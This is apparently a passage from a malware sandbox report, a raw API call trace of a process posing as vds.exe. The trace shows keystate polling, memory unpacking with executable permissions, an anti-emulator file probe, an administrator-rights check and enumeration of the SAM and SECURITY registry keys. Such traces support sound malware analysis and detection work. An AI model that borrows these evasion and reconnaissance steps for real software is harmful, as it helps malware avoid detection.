GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.668] GetAsyncKeyState (vKey=58) returned 0 [0032.668] GetKBCodePage () returned 0x1b5 [0032.668] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.668] GetFocus () returned 0x0 [0032.669] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0032.669] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0032.669] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0032.669] Sleep (dwMilliseconds=0x94) [0032.824] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x76e21856) returned 0x0 [0032.824] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0032.828] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x76e21856) returned 0x0 [0032.828] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0032.829] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e249d7) returned 0x0 [0032.829] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21222) returned 0x0 [0032.830] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21856) returned 0x0 [0032.830] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e2435f) returned 0x0 [0032.830] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0032.830] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0032.830] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0032.830] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0032.836] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0032.838] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0032.838] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0032.838] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0032.839] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0033.729] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.738] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xa00000 [0033.754] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x104) returned 0xa007d0 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa008e0 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00968 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa009f0 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00a78 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00b00 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00b88 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00c10 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00c98 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00d20 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00da8 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00e30 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00eb8 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00f40 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa00fc8 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa01050 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x80) returned 0xa010d8 [0033.755] RtlAllocateHeap (HeapHandle=0xa00000, Flags=0x8, Size=0x400) returned 0xa01160 [0033.755] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xf70000 [0033.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf707d0 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf70858 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf708e0 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x184) returned 0xf70968 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70af8 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70b40 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70b88 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70bd0 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70c18 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70c60 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70ca8 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70cf0 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70d38 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70d80 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70dc8 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70e10 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70e58 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70ea0 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70ee8 [0033.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70f30 [0033.763] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0033.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf70f78 [0033.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2c) returned 0xf7b828 [0033.769] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0033.769] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0033.769] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0033.769] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0033.769] GetLastError () returned 0x7a [0033.769] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x140) returned 0xf7b860 [0033.769] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0xf7b860, TokenInformationLength=0x104, ReturnLength=0x18fbec | out: TokenInformation=0xf7b860, ReturnLength=0x18fbec) returned 1 [0033.769] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0033.769] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0033.770] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4c, [5]=0x58))) returned 0 [0033.770] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0033.770] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0033.770] EqualSid (pSid1=0x5f4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf7b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0033.770] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b860) returned 1 [0033.770] NtClose (Handle=0xc4) returned 0x0 [0033.770] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7b860 [0033.771] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7b8a8 [0033.771] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x280) returned 0xf7b930 [0033.772] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0033.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0033.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xf7bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0033.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc58) returned 1 [0033.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bca0) returned 1 [0033.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.777] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xf7b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0033.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xf7bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bca0) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc58) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xf7b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xf7bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc58) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bca0) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xf7b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 